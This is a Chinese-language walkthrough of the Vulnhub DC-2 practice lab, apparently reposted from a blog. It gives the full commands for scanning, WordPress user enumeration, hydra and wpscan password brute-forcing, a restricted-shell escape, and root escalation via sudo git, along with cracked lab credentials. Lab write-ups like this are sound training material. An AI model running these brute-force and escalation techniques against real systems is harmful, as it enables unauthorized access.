Vulnhub实战靶场:DC-2

安装配置

DC靶场1-9下载链接
链接:https://pan.baidu.com/s/1a5xbx60waiS4uYpkCA8pOA 
提取码:tx2j 

下载之后解压,直接双击用VM打开。

DC靶机设置网卡为NAT。同时kail也设置为NAT。

直接启动DC靶机就好了,启动时所有选项均勾选“是”

靶场攻略

信息收集

arp-scan -l  查看局域网内存活的主机

nmap -sV -Pn -p- -A 192.168.131.143  对存活主机进行详细扫描

80和7744端口开放

其中80端口的域名是  http://dc-2

7744开放的是ssh端口

 根据上面的提示,需要配置本地dns解析。

 打开浏览器,访问dc-2

找到flag1

 通过whatweb收集指纹

whatweb http://dc-2

利用火狐插件(Wappalyzer)

确定了CMS是wordpress

使用御剑扫描,发现

 

http://dc-2/wp-login.php  我猜测应该是后台登录的地址,但是我们现在没有密码。等等再看看吧

flag2

根据flag1的提示,Your usual wordlists probably won’t work, so instead, maybe you just need to be cewl.

也许你需要cewl

cewl是一款密码生成工具

  cewl是通过爬取网站的时候,根据爬取内容的关键字生成一份字典,通过这种方式生成的字典可以作为cupp生成字典的补充

cewl http://dc-2/ -w mima.txt    生成密码文件

针对wordpress使用相关工具(wpscan工具)

  WPScan是Kali Linux默认自带的一款漏洞扫描工具,它采用Ruby编写,能够扫描WordPress网站中的多种安全漏洞,其中包括主题漏洞、插件漏洞和WordPress本身的漏洞。最新版本WPScan的数据库中包含超过18000种插件漏洞和2600种主题漏洞,并且支持最新版本的WordPress。值得注意的是,它不仅能够扫描类似robots.txt这样的敏感文件,而且还能够检测当前已启用的插件和其他功能。

根据flag1的提示,需要多个账户,我就直接用wpscan的枚举工具。

wpscan --url http://dc-2  -e u 
-e:枚举
u  枚举用户名

发现3个用户。

admin jerry 和 tome

 建立用户字典

 使用hydra进行暴力破解

hydra -L dc2_user.txt -P mima.txt dc-2 http-form-post '/wp-login.php:log=^USER^&pwd=^PASS^&wp-submit=Log In&testcookie=1:S=Location'
  • -l ——> 表示单个用户名(使用-L表示用户名列表)
  • -P ——> 表示使用以下密码列表
  • http-post-form ——> 表示表单的类型
  • / dvwa / login-php ——> 是登录页面URL
  • username ——> 是输入用户名的表单字段
  • ^ USER ^ ——> 告诉Hydra使用字段中的用户名或列表
  • password是输入密码的表单字段(可以是passwd,pass等)
  • ^ PASS ^ ——> 告诉Hydra使用提供的密码列表

也可以使用wpscan进行爆破

wpscan --url http://dc-2 -U dc2_user.txt -P mima.txt

jerry / adipiscing

tom / parturient

我们得到两个用户名,想起之前有一个登录页面,我们去试一试

经过尝试之后,发现只有jerry用户登录有flag

flag3 

flage2提示,我们需要从别的切入点登录,我想到了之前有一个ssh端口是开放的。

 尝试使用jerry用户登录,但发现jerry用户没有ssh登录权限

 我们使用tom用户成功登录

ssh tom@192.168.131.143 -p 7744

flag3就在眼前,但是这个一个受限制的shell

Restricted Shell既受限的shell,它与一般标准shell的区别在于会限制执行一些行为

 

 绕过受限的shell

  方法1

用vi的    :set shell=/bin/bash    回车
    : shell    回车
之后 export -p 查看发现PATH变量可以写入
export PATH=$PATH:/bin/

  方法2

BASH_CMDS[a]=/bin/sh;a
/bin/bash

通过上面的两种方法任意一种之后

 bash已经不一样了。

export PATH=$PATH:/bin/

 切换jerry用户登录dc-2,密码为最初破解的密码  adipiscing  ,登陆成功

获取flag4

切换用户。

 

 

flag5 

提示我们需要使用git命令

我用  sudo -l  查看不用root密码就可以使用的命令

也跟git有关,我就想到了使用git提权。

git提权

sudo git help config
    !/bin/bash或者!'sh'完成提权 ​
sudo git  -p help
    !/bin/bash

 

 

 

原文地址:https://www.cnblogs.com/Xshun-z/p/14058114.html